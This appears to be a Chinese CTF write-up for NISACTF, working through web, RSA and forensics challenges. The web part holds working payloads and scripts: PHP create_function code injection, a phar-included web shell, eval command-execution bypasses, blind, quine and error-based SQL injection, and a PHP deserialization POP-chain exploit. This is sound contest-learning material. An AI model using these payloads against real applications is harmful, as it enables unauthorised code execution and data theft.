【NISACTF】write up

前言

福师大的校赛,有些很简单的题就不写了,这个wp主要是记录下学习到的东西,也不算wp其实,因为有些题是后面复现的。

web

checkin

这题看代码颜色都能感觉到不对,使用了特殊的编码,因此要进行URL编码来进行GET传参,payload:

1
?ahahahaha=jitanglailo&%E2%80%AE%E2%81%A6L3H%E2%81%A9%E2%81%A6cuishiyuan=%E2%80%AE%E2%81%A6Ugeiwo%E2%81%A9%E2%81%A6N1SACTF

level-up

五层关卡,前四层都是做过的,主要写下第五层,源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
//sorry , here is true last level
//^_^
error_reporting(0);
include "str.php";

$a = $_GET['a'];
$b = $_GET['b'];
if(preg_match('/^[a-z0-9_]*$/isD',$a)){
show_source(__FILE__);
}
else{
$a('',$b);
}

这里的考点是匿名函数的使用,主要是看到$a('',$b);这个代码,那么我们可以使用create_function()匿名函数代码注入,这个函数填入两个参数,前一个是函数名,后一个是函数内容,因此可以执行。payload:

1
?a=%5ccreate_function&b=2;}system('cat /flag');/*

bingdundun~

这题看了wp才发现当初几乎都做出来了,就差一点,有点可惜。

进入网页发现可以点击upload,点击后提示可以上传图片或压缩包,并且发现url有意思文件包含:

1
?bingdundun=upload

上传文件测试发现应该是白名单,因此没办法上传配置文件和php文件,而文件包含也过滤了php://data://等伪协议,但是发现phar://没有被过滤,结合可以上传压缩包,这题应该就是考phar压缩包伪协议的包含了。

那么我们写一个一句马并打包上传,获取到文件名,然后用phar伪协议构建payload:

1
?bingdundun=phar://579eb57ccc73842341f80c475b04738b.zip/shell

蚁剑连接,根目录获取flag。我当时包含的时候最后写的是shell.php而不是shell导致没包含成功,我好气啊。

babyupload

这题当时都没看,赛后补票了属于是。

源码提示/source,那就去查看下,审计python代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
from flask import Flask, request, redirect, g, send_from_directory
import sqlite3
import os
import uuid

app = Flask(__name__)

SCHEMA = """CREATE TABLE files (
id text primary key,
path text
);
"""


def db():
g_db = getattr(g, '_database', None)
if g_db is None:
g_db = g._database = sqlite3.connect("database.db")
return g_db


@app.before_first_request
def setup():
os.remove("database.db")
cur = db().cursor()
cur.executescript(SCHEMA)


@app.route('/')
def hello_world():
return """<!DOCTYPE html>
<html>
<body>
<form action="/upload" method="post" enctype="multipart/form-data">
Select image to upload:
<input type="file" name="file">
<input type="submit" value="Upload File" name="submit">
</form>
<!-- /source -->
</body>
</html>"""


@app.route('/source')
def source():
return send_from_directory(directory="/var/www/html/", path="www.zip", as_attachment=True)


@app.route('/upload', methods=['POST'])
def upload():
if 'file' not in request.files:
return redirect('/')
file = request.files['file']
if "." in file.filename:
return "Bad filename!", 403
conn = db()
cur = conn.cursor()
uid = uuid.uuid4().hex
try:
cur.execute("insert into files (id, path) values (?, ?)", (uid, file.filename,))
except sqlite3.IntegrityError:
return "Duplicate file"
conn.commit()

file.save('uploads/' + file.filename)
return redirect('/file/' + uid)


@app.route('/file/<id>')
def file(id):
conn = db()
cur = conn.cursor()
cur.execute("select path from files where id=?", (id,))
res = cur.fetchone()
if res is None:
return "File not found", 404

# print(res[0])

with open(os.path.join("uploads/", res[0]), "r") as f:
return f.read()


if __name__ == '__main__':
app.run(host='0.0.0.0', port=80)

发现是路由,重点检查/uploadfile,如果文件名中含有.,则返回Bad filename!,然后保存文件并且返回给/file路由。而file路由中有一段打开文件读取的代码,这里存在漏洞,我们更改文件名为//flag,发包后回显文件名,访问对应文件即可获得flag:

middlerce

审计代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
include "check.php";
if (isset($_REQUEST['letter'])){
$txw4ever = $_REQUEST['letter'];
if (preg_match('/^.*([\w]|\^|\*|\(|\~|\`|\?|\/| |\||\&|!|\<|\>|\{|\x09|\x0a|\[).*$/m',$txw4ever)){
die("再加把油喔");
}
else{
$command = json_decode($txw4ever,true)['cmd'];
checkdata($command);
@eval($command);
}
}
else{
highlight_file(__FILE__);
}
?>

过滤了一片字符,还有二次check,看着都麻了。首先是我们可见的部分,这部分是参考了之前的一道赛题,但是由于%0A也没了,所以就是用PCRE回溯的方法绕过preg_match()。然后这里有个巨坑的点,我之前一直发送字符a一直不行,后来发现a也是被过滤的的……

然后是第二层,打比赛的时候是要猜的,不过复现时候wp也给出了黑名单:

1
/\^|\||\~|assert|print|include|require|\(|echo|flag|data|php|glob|sys|phpinfo|POST|GET|REQUEST|exec|pcntl|popen|proc|socket|link|passthru|file|posix|ftp|\_|disk|tcp|cat|tac/i

防了很多方式,不过*没被过滤所以可以构造模糊查询,反引号没被过滤可以构造命令执行。echo被过滤了,不过符号没被过滤,因此构造短标签进行绕过,payload:

1
2
3
4
5
6
import requests

payload = '{"cmd":"?><?= `sort /f*`?>","$":"' + "$"*(1000000) + '"}'

res = requests.post("http://1.14.71.254:28118/", data={"letter":payload})
print(res.text)

得到flag。

hardsql

这题描述有直接给语句:

1
2
$password=$_POST['passwd'];
$sql="SELECT passwd FROM users WHERE username='bilala' and passwd='$password';";

其实看到这个语句我就想起之前hgame那题的like注入,最主要列名给你了,所以应该是类似的,所以直接把脚本改一下拿来用,exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import requests
import string

strs = string.printable
url = "http://1.14.71.254:28030/login.php"

if __name__ == "__main__":
name = ''
for i in range(0,100):
char = ''
for j in strs:
payload = "1'/**/or/**/passwd/**/like/**/'{}%'#%".format(name+j)
data = {
"username": "bilala",
"passwd": payload
}
r = requests.post(url=url, data=data)
if "wrong" in r.text:
name += j
print(j, end='')
char = j
break
if char == '%':
break

跑出密码:

1
b2f2d15b3ae082ca29697d8dcd420fd7

登录后发现是源码,审计一下重点部分:

1
2
3
4
5
6
7
8
9
10
11
if ($row['passwd'] === $password) {
if($password == 'b2f2d15b3ae082ca29697d8dcd420fd7'){
show_source(__FILE__);
die;
}
else{
die($FLAG);
}
} else {
alertMes("wrong password",'index.php');
}

这里是第五空间的一题改的,没做过这题所以当时没做出来。这里的考点是quine注入,这波学习了。

具体原理可以参考这几篇文章:
SQLi Quine
第五空间 2021——yet_another_mysql_injection

核心思想就是让sql语句执行的结果等于sql语句本身,来绕过这个验证。直接用上面文章的payload改一下就好了,由于char()被过滤,可以通过chr()0x替代。

payload:

1
username=bilala&passwd='UNION/**/SELECT/**/REPLACE(REPLACE('"UNION/**/SELECT/**/REPLACE(REPLACE("?",CHR(34),CHR(39)),CHR(63),"?")/**/AS/**/a#',CHR(34),CHR(39)),CHR(63),'"UNION/**/SELECT/**/REPLACE(REPLACE("?",CHR(34),CHR(39)),CHR(63),"?")/**/AS/**/a#')/**/AS/**/a#

后来我也找到一个exp可以生成这类payload:

1
2
3
4
5
6
7
8
9
10
11
12
def quine(data, debug=True):
if debug: print(data)
data = data.replace('!!',"REPLACE(REPLACE(!!,CHAR(34),CHAR(39)),CHAR(33),!!)")
blob = data.replace('!!','"!"').replace("'",'"')
data = data.replace('!!',"'"+blob+"'")
if debug: print(data)
return data
"""
!!填充的东西执行完之后和data一样
"""
data="'/**/union/**/select(!!)#"
quine(data)

join-us

登录页面中存在sql注入,但是这个waf十分之狠,不过or也被过滤以及题目的名字都给我们提示,可能是无列名注入。

但是我们首先需要知道库名,而as被过滤了,这就导致我们无法通过database()的方式获取库名,我当时也卡在这了。看了wp发现这里要利用报错来进行爆库,payload:

1
-1' || (select*from aa)#

得到回显:

1
Table 'sqlsql.aa' doesn't exist

库名为sqlsql

接着用extractvalue报错注入获取表名,payload:

1
2
-1' || extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema like 0x73716c73716c)))#
//过滤的是or ,并非or

表名为Fal_flag和output。坑爹的是flag在output中。

这里由于column被过滤,因此无法查询列名,使用join无列名注入查列名,payload:

1
-1' || extractvalue(1,concat(0x7e,(select*from (select*from output a join output b)c)))#

列名为data

最后报错注入配合mid截断得到flag,payload:

1
2
3
-1' || extractvalue(1,concat(0x7e,mid((select data from output),1,20)))#

-1' || extractvalue(1,concat(0x7e,mid((select data from output),21,40)))#

babyserialize

下个月恶补要的pop链,这题难度不是很高,刚好拿来练手用。

审计源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
 <?php
include "waf.php";
class NISA{
public $fun="show_me_flag";
public $txw4ever;
public function __wakeup()
{
if($this->fun=="show_me_flag"){
hint();
}
}

function __call($from,$val){
$this->fun=$val[0];
}

public function __toString()
{
echo $this->fun;
return " ";
}
public function __invoke()
{
checkcheck($this->txw4ever);
@eval($this->txw4ever);
}
}

class TianXiWei{
public $ext;
public $x;
public function __wakeup()
{
$this->ext->nisa($this->x);
}
}

class Ilovetxw{
public $huang;
public $su;

public function __call($fun1,$arg){
$this->huang->fun=$arg[0];
}

public function __toString(){
$bb = $this->su;
return $bb();
}
}

class four{
public $a="TXW4EVER";
private $fun='abc';

public function __set($name, $value)
{
$this->$name=$value;
if ($this->fun = "sixsixsix"){
strtolower($this->a);
}
}
}

if(isset($_GET['ser'])){
@unserialize($_GET['ser']);
}else{
highlight_file(__FILE__);
}

//func checkcheck($data){
// if(preg_match(......)){
// die(something wrong);
// }
//}

//function hint(){
// echo ".......";
// die();
//}
?>

出口很明显是NISA类中的__invoke(),入口也显然应该选择TianXiWei类中的__wakeup()。接下来就是构造逻辑链条:

1
TianXiWei:__wakeup() --> Ilovetxw:__call() --> four:__set() --> Ilovetxw:__toString() --> NISA:__invoke()

由于waf对危险函数的过滤,这里要利用php原生类来读取,用GlobIterator(\"/f*\")来读取文件名,再用SplFileObject("php://filter/convert.base64-encode/resource=/fllllllaaag")来读取文件。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
class NISA{
public $fun="mrl64";
public $txw4ever="echo new SplFileObject(\"php://filter/convert.base64-encode/resource=/fllllllaaag\");";
}
class TianXiWei{
public $ext;
public $x="sixsixsix";
}
class Ilovetxw{
public $huang;
public $su;
}
class four{
public $a="TXW4EVER";
private $fun='abc';
}
$N1 = new NISA();
$I1 = new Ilovetxw();
$I1->su = $N1;
$f1 = new four();
$f1->a = $I1;
$I2 = new Ilovetxw();
$I2->huang = $f1;
$T1 = new TianXiWei();
$T1->ext = $I2;
echo urlencode(serialize($T1));
?>

Crypto

rrssaa1

给了个exe文件,提示当明文等于明文,又给了个txt文件,里面有一个c的值。有点懵,这是rsa?

后面提示可以python反编译exe文件,发现是cbc加密,并且给了iv,根据明文等于密文,我们进行如下操作:

将IV作为第一组明文输入,这样异或出的就是一组0变量,再将0变量加密后的密文分组作为第二次的明文输入,这样第二组的异或出的仍是一组0变量,这样得到的密文分组和明文分组就是一样的。

得到10组n、e的值,这里就很明显是共解密指数攻击了,exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
//sage
from gmpy2 import mpz
from Crypto.Util.number import *
def common_private_attack(instance, debug=0, algo="LLL"):
r = len(instance)
instance.sort(key=lambda x: x['n'])
M = isqrt(instance[r-1]['n'])

# Build up Lattice basis B
B = zero_matrix(r+1)
B[0,0] = isqrt(instance[r-1]['n'])
for i in range(1, r+1):
B[0,i] = instance[i-1]['e']
B[i,i] = - instance[i-1]['n']
if debug:
print("The basis of the lattice we build is:"); print(B)


if algo == "LLL":
print("Performing LLL reduction..."); B = B.LLL(); print("Done.")
elif algo == "BKZ":
print("Performing BKZ reduction..."); B = B.BKZ(block_size=len(instance)); print("Done.")

dM = B[0,0]; d = dM // M;
d = abs(d)
#print(" dM = {} \n d = {}".format(dM, d))

if dM % d != 0:
print("Fail to attack these instances.")
return d

instance=[{'n': 22910513874693731529794699437442585462797081074103281779720083438061943013290432867011373716709417770312374751929375184399034771058269694856532799959667041949121677104962602483584220375066079604310070170092110918929461013245513822473684968402351301685536123078521742332569393464306987452108453769431731102270963491458275901025886934456519659607039590731813386955268927981582044269612552247646692665197630976125168347209436275087984418329250553880615465123204025637362363070467484414411836736730245255823697709223006295849021945454748749818267833284501738496721945926714238227282740984681203937986318475852613929143251, 'e': mpz(418124818904584070636620437710361776090108506722591991514327934718784299737047502474085855254559869088800261398118869672209434420120317794653495668931393612406838516073527165572665005311548385479495512125271138526092300831851385800096274657668272325217430873751117716114419867692780958968593067192631486465423296524872397276474537511163042204868149575744589259544051450221302783320687258509440413868395816339688622906116768142782258988907394078830699053778292652215833104980849507933199494718914518742424146673598276155185664130838758323044619387740517935666414486691281183770077399065117822052210868255904129790857)}, {'n': 24372481233234868877240458155800588580812953522873807226302786080581993950256157944642464867939762785144387544453522937931896100733484147952058102175740010137587724723034224506078443611576936256666765665550805512133208920980958204618194835347188290890392310460401576052448288739131559585387573534907086475030543828004657399151430511548607561670043211239782273890775589109913476784232834837759148258891293128608842072813994609343360665814202983846428806925879491443490368367467031496582975802337035122899501568440236021091854147442105515442233972362265981345047688567838639803532996157470683787433310033185814953656983, 'e': mpz(19143210339300240201214681568913908802203503378911354545783039851820649892001553640716724601777727911454833349588457910280062957963591589075572961361180751463216343846048742052319037925338897041933549452371741246029630187856751307559582731572601728128923668396302767081553351715263257018622487964555758751394847916982565081947216610481734739374914343623808948309951213792814166136267321554178708974135800594894999474676582468832744187994651063639342955574804522901017010028411977615943713171646182786270245242731511044090824221392904310116952767116375673790524507805832568864433094351529367145180574506758961891723713)}, {'n': 24679015975199035427851554685850831633070053899857418484328145060044137550417808217226266986645286514288875260824299646109417892815567800404597047275827535258493172074535206108309907723199659370694192036854964007484633842788093367827915513408997725200824738313725110004104110062857308871076565274842616810840840810744799197704524580056030433553354133397041717795975389389238167191396628898787682599806871009262885431040360774734536368609797684355652388715712552700783779991265411167252723184924189561560018768009199749473695337780587873810629536482188724130484987746341109701417010165543419592212024193621264862157437, 'e': mpz(1887466323771244506126050040652897884230288720026513972534347995161387672855941521729593627560537130159609645850851312546802205326329236157151902749914059157236234397788369920413655818810511725066749956880552355520230065767054687221730528133402180824270938119599446091654881896367427441429406021700330179507358460436236173403829804136590987361179940109750138029351494643114058319058124904762608681397348022925627376074826811350518080031530194579924378909569680695196260687073292527268362345061093483687699693119108452554448873156890231817232965303834553227987138777939162459009424732328429033584600222583239341864361)}, {'n': 20725846433298459818738516063389861157454145887412567309241971368192930248390172552460032176060600040992720084753747686885177277168920132042523397036270405823908393368295992028165872545209655962017977363348351903746731605928564721934116632473077039008788587133825619811922502829333793026171268937670512542626155796001634809633664680547300701846259322677726234892599145592757089259403977732051835633093448559478273833139316384288698135960343103244801500564407369891836897783914804945533546962961701061687990485508696254709609957808586842087409899693206392569585425380859078318139127000550432581295099509030669863867303, 'e': mpz(2363237573854087670976417969883225633360397442974401061049216894475393422244866973952932756882139865641894504435941506895224713566917990611214046823492289837152901617831851336386026240304485783973236642121278289706255550485010385013170275793369386007680778694579559138881420935348763388540214604799462174889474198144497241133628301258759734097809090228161716735359351895750148751120435424528229013305162159696839414242261305275449518850079365302566268954286580666577767306164857063096608849641777683700226797033332925301661913694775501692542844702513650655471083144015543032647455807221102876601998869281360384396969)}, {'n': 22809935750576912865959231885839360732534906212225458022717669424614748661511918579549919916493236188484439882038298212760793306304545526844216353471055053556871150974522878690375438562426087440233386393370359683872593815943709353082095631111639041143754373874991575027747570017739942341766604387224176018793894754930878629709819661862381387213173036726945372240282580901124702248064018648150065273248946129523748193672656981316427317060071759239832204248176611648685460398874668097756975672168707026506110403992926074215511420161013025697858596735206101616761571190864709956992427309041192147394141071079459513490611, 'e': mpz(13133555776569547650925045548918236939639526554394889895596620269739174476566352794864343622356222299566279371551432530070481257368316784755930075662834731500502345517682356361164582999060502872211361694222132015741819795145796909591665107893860146356770485006797484186247196345168223924741037976946102849578524579606338846422314675808836631910676758185839828694899691695652500538122088029311150940192651185968892410331308490420642197863628213020528562440239348622456640781055180466849084742096007240725499537008098270708800128906741434883430906389880429863171839180158004739621168711466811317518568593570244234356473)}, {'n': 22480694282480941856240478144806308314675949068465587320650365753607181629359667506510327246960059600070975543193248132715947284941641953388046978099792445163848997480222534711956558077424201889790307253643733334819206791789849391745265354084064007637913171566532460998684708503229350236485373560557693046199065144657259010989119048370619489811662974589653263692671635131186093439219165642237949026744612661967562816404233890288374130410997771410589750213626670311839445013864803976998563166191406408874373459540505835186973304663516643096962903654014842811813401296109284028861941906109336060451132312463266201415329, 'e': mpz(5624874560950753498859866139527579818312781394539479470831958979447428570824824324740771269291165645086210973103272336121731912398585096517141753168417402556661950218674390872421989641336537837013066620791238206533730906030501700325503296214297695138747177011202671679049512237059817685651828933521719416294029149562504049154660843723718018891705220638761705284473974644590524030504330156413475638165884760254514165992618015237764971157843554639068828315161344021009639686458808898375286838635679965954906305612625538770521388361497066840616893440392969988298775795541575848039950165133743457112710681254111761236977)}, {'n': 24864800348158528479906787630817628786057394652940528220487672878224821093187748399176495638492155238253951061624119446159699883923429845058879913539518385471765492064482097277790223293260128881959273708226181373995800760490076615976367890263392717551259059978955019671550523682528756210608945906533001192976007098872901938952015131822528777969231670678207075524375456230663716322781932990075477736910925180207286309477685449506037405249527178078075985163439166820012435973787796791138399698319190416826416307419995704905995638505495443894477749261164124960538410932525360254583333096355932627999150017132814090333241, 'e': mpz(3856630503719827855844626836485236690181435414315645355130063964022152923723080539565019021355419177735019322219325830072037487528940021907267513161749071974608699933871793463562863522229082468683243901644845826059349596659323042299690790765030373981718166011819585074704820443905345396257414353837002151781007668563125603659889904298805297904725270532210911911226283011734773982797544816536205681843451163076486100161244600813341737446527784779893709854495658416561649974958835452357349125453415490361795100092166500410617267171431892907868601018198501626162578176872991772913847456399112257982770466218683435977233)}, {'n': 19124038956715221534475664748050443644784017946285501767743851038866178811578425211712395772512764081657114249264750411100125353521253413105314358045769042565775171832528505858934347564408448715726606220509887643736405686485259106596314428705429329567823354848621662213427380804714681617624381700294984971221298888824492282135460743333840937811577196086176023601621687706265164503993591934717195202747810262431964418069040376377368805912956880604436193067845497931435910276011392268756936356824924016508042574993560735189920618883256138946496688867855672114401245107938884098540558998467042804767676383399885670917863, 'e': mpz(2526864429486600013372544534422176076310449606548856304461485276066637941365632554754458596530587265120176820669070912170194561174897463295107537549901995199720429699901644961145517761531066171228894272527951311393341049801262112401226497042253995829727117709996063274895247764121887846333559590006675066290762310586706087473986643091625437211817626727787839725750573398738378173014091184388786245327948372467755559879615874741522637847583054177607416293895012819765959700604109526983132083773582729514355334522134224212163590455593583898122500139694022270117330389492890927144273267138493069027225729811456941196841)}, {'n': 22712694846618225919656596038340253703950387189307356916884965227715575385290510648357788918083042127579214343856073731099014236390909368166091091105572503659963582091256239405080287823086072151464554676361316498173485846962725704572373404896028400947773894219506964827695493355671062126899085653349150889714833678676595701733978080393121447152690832437658688817450477965220947545046095740313522911930620442467826353136237204001953779248526332341778622938019495861382365118525764027553983694265494431463871584823902011764736743452157607708114643621663013938789045186398065113397082412393217306851766751359748485479947, 'e': mpz(10677712174622673625461359647500782439433165156123940439219715020101430663583415600108354143755028037935813256146383342375176716193336557365518193617245378776772825370333872189153024262271406627376370626366265587010646777359582552203727155755566858670727867097618066172109680249978907948880949039026897280024621775610018299977269676137246768591695700091958272943505065479321506848835565663826406807954755395641654795735858484165741728341231569210806669852646070268250158341835400267707050630955072247788775265007770528881479089247519947243736784181303650218623544794991471865627967303089855830890716351172499822666657)}, {'n': 29530501528048179618993188667259709438380823126457692419992781599742162976314963077892631687601059594978412657041475380032477805818407564226390560549020301725312531169814413208353912738658672008557076821628601123546429396788497410673839196924586021049176714044555896053623390330789641538577117351494577537192456906989432523245836053774828613790929239698312653550748067411624343544340442517761647170791413344362742142440328926448233820806068777032405586400091222100390759969032135228099677059219202752058583088660274632343174038249349622867356306772975206078721974271500052236762769794504351873161093377781217621800851, 'e': mpz(8729173604239025011857782023927738952041674447805777183092178780381283882428344889128776928009726731687565885792801585411233568278521882651010769203046279626441420751041892471066965129701726335998417117456164919970929625892898165284166374265463104192123359891593075186135067029442765544980841269006919805416544688157191347297531124766371177370618922502642426517831690685654226275590626523865698087716363119573077628586230380384786269088962223486145179686564375420888574395904747308189390860655468787526259462696913684329894120410714757458285565733273719525515391646880556812753596710689221817572185451401270933654073)}]


c=mpz(8249481061276641012500781695740094434470113414066017209484215230041921646049458178370330794241115341376535075017119365874406375409425518256323024908492829783852428861824372134924435528670473416419205178211753257025999328702024596957043540125702709160006013219820565345682050977792920885144964033305130028650810667051301594273570335413667926122212987004423933365573720187183851963886897210680516485876928056049295497627661890470786325640353389624242623725312661098422286151242366448450478297382717820442653339243537262050892660153070690559134669225520213623348774988576340953811305002965060069852345476309887418617950)

d=common_private_attack(instance)
for i in range(0,11):
n=instance[i]['n']
m1=pow(c,d,n)
m=long_to_bytes(m1)
if b'NSSCTF' in m:
print(m)
break
else:
i+1

rrssaa2

和闽盾杯那题爆零密码一样的考法,e与phi不互质,并且需要amm开根运算,源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from Crypto.Util.number import *
import random
import libnum
import gmpy2

def gen():
p = 1801 * random.getrandbits(1012) + 1
while not isPrime(p):
p = 1801 * random.getrandbits(1012) + 1
return p
p=gen()
q=gen()
e=1801
n=p*q
flag='NSSCTF{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}'
flag=flag+'yhe92871899hihiohh97709ujojl;lhdiwoqu903YE98Y299HDY8W9EYRW8!$$%!$!$FSR@#$@%FSEGDRYERYHRWER@$%^$^DGTW%$^&GRWR@$%@FASFSFQFSTGW#TWGARWQ$@%WGVDSGADQR@%TGVDSFASDATWEGHWE%@$GSDVSFQATY$^#^%@$!RAFSDGDRTW'

c = pow(m, e, n)
print('e=',e)
print('p=',p)
print('q=',q)
print('c=',c)

但是这里有个坑爹的地方,闽盾那个脚本中的k和这次的k有区别,不能直接套,因此要改下exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
import random
import time

def cal_k(s, r):
R.<x> = PolynomialRing(GF(r))
f = x * s + 1
k = int(f.roots()[0][0])
print(k)
return k

# About 3 seconds to run
def AMM(o, r, q):
start = time.time()
print('\n----------------------------------------------------------------------------------')
print('Start to run Adleman-Manders-Miller Root Extraction Method')
print('Try to find one {:#x}th root of {} modulo {}'.format(r, o, q))
g = GF(q)
o = g(o)
p = g(random.randint(1, q))
while p ^ ((q-1) // r) == 1:
p = g(random.randint(1, q))
print('[+] Find p:{}'.format(p))
t = 0
s = q - 1
while s % r == 0:
t += 1
s = s // r
print('[+] Find s:{}, t:{}'.format(s, t))
k = cal_k(s, r)
alp = (k * s + 1) // r
print('[+] Find alp:{}'.format(alp))
a = p ^ (r**(t-1) * s)
b = o ^ (r*alp - 1)
c = p ^ s
h = 1
for i in range(1, t):
d = b ^ (r^(t-1-i))
if d == 1:
j = 0
else:
print('[+] Calculating DLP...')
j = - dicreat_log(a, d)
print('[+] Finish DLP...')
b = b * (c^r)^j
h = h * c^j
c = c ^ r
result = o^alp * h
end = time.time()
print("Finished in {} seconds.".format(end - start))
print('Find one solution: {}'.format(result))
return result

def findAllPRoot(p, e):
print("Start to find all the Primitive {:#x}th root of 1 modulo {}.".format(e, p))
start = time.time()
proot = set()
while len(proot) < e:
proot.add(pow(random.randint(2, p-1), (p-1)//e, p))
end = time.time()
print("Finished in {} seconds.".format(end - start))
return proot

def findAllSolutions(mp, proot, cp, p):
print("Start to find all the {:#x}th root of {} modulo {}.".format(e, cp, p))
start = time.time()
all_mp = set()
for root in proot:
mp2 = mp * root % p
assert(pow(mp2, e, p) == cp)
all_mp.add(mp2)
end = time.time()
print("Finished in {} seconds.".format(end - start))
return all_mp


e= 1801
p= 49610229352589717245227429186510630298995334563536199979797365135356894947505595171590737127611751124743823204969291853243936699113293137172961540731655194113111189561603261168928406442577570919901769348742992633428864861175880441682752947688509869668929473479230018031647980097396415380123118521799468844841
q= 21081926656979729045764441706195868361643779935106260715219328461497406780587336009385210898093496090213306812904410650499587043699660339207567766840318127296396962037273317168795761421233687815992929975284592353117739413561939283754964442896468496199833988666060155459156116345763999855126020972915904618043
c= 601596145172542477058917394071994325109856881057412872218601643742101914635753765731910337249806643258952637146341530783703613931109366648847232809553067941206928974141651198815184695746636818122414926015513095322872645068410957200062317958684872682628646759817233433643987003499153702624673493727886566639667597997520471371146056861227114668317633291934130573158877960548655006208725827943739971068608175370661619328559766977175575896437656636083179668805135271793023165492681941002853661303072959879197775224449456951125268328000206540965011249895216257583247180682482954741912101069920760903900864428405997751199
cp = c % p
cq = c % q
mp = AMM(cp, e, p)
mq = AMM(cq, e, q)
p_proot = findAllPRoot(p, e)
q_proot = findAllPRoot(q, e)
mps = findAllSolutions(mp, p_proot, cp, p)
mqs = findAllSolutions(mq, q_proot, cq, q)
print(mps, mqs)

def check(m):
h = m.hex()
if len(h) & 1:
return False
if bytes.fromhex(h).startswith(b'NSSCTF'):
print(bytes.fromhex(h))
return True
else:
return False


# About 16 mins to run 0x1337^2 == 24196561 times CRT
start = time.time()
result = []
print('Start CRT...')
for mpp in mps:
for mqq in mqs:
solution = CRT_list([int(mpp), int(mqq)], [p, q])
if check(solution):
print(solution)
result.append(bytes.fromhex(solution.hex()))
print(time.time() - start)

end = time.time()
print("Finished in {} seconds.".format(end - start))
print("result:", result)

Misc

套娃

这次misc感觉就这道取证值得说道说道,其他的题不是太简单就是自己犯蠢没想出来,这题还是有一定难度的。

filescan搜索,发现可疑zip文件,提取出来后里面有一个pwd.txt和一个image.rar两个文件,压缩包是加密的,密码应该就是pwd里面的内容了。

pwd.txt:

1
KVKFMU2NNN4HKTJSGVGWGVSWOVKVORSKKZUUCZY=

这里做了个套娃,一个base32,一个base64,而最后一个是换表base64,用CyberChef可以解除最后的密码:

1
pwD_1s_h3re!

解压后发现是一堆图片,附件里还有个array.txt,同样也套了几层编码,unicode+base64+base32+hex,解出来一个数组:

1
32, 24,  6, 28, 15, 31,7, 23, 13, 27, 30, 33,12,  8,  5, 26, 29, 16,34, 22,  2, 14,  9, 17,21,  1, 19, 10,  4, 36,35, 25, 11, 20,  3, 18

发现刚好和图片数量吻合,应该就是拼图顺序了,可以写脚本,但是我菜不会写就手拼了,反正不多,这里贴个wp里的exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from PIL import Image

name_list = [[32, 24, 6, 28, 15, 31],
[7, 23, 13, 27, 30, 33],
[12, 8, 5, 26, 29, 16],
[34, 22, 2, 14, 9, 17],
[21, 1, 19, 10, 4, 36],
[35, 25, 11, 20, 3, 18]]
img = Image.open("./image/1.png")
width, height = img.size
crop_width = width * 6
crop_height = height * 6

image = Image.new('RGB', (crop_width, crop_height))

# 利用循环将所有图片拼接到创建的新图片上
for i in range(0,6):
for j in range(0,6):
name = str(name_list[i][j]) + ".png"
s_image = Image.open("./image/" + name)
box2 = (width * j, height * i, width * (j + 1), height * (i + 1))
image.paste(s_image, box2)

拼完后能得到一个字符串:

1
58s4vb6rt4pt5r32yd6ht5u656555r6796524vi69r2yd5om6w0

最后利用twin-hex解码字符串得到flag。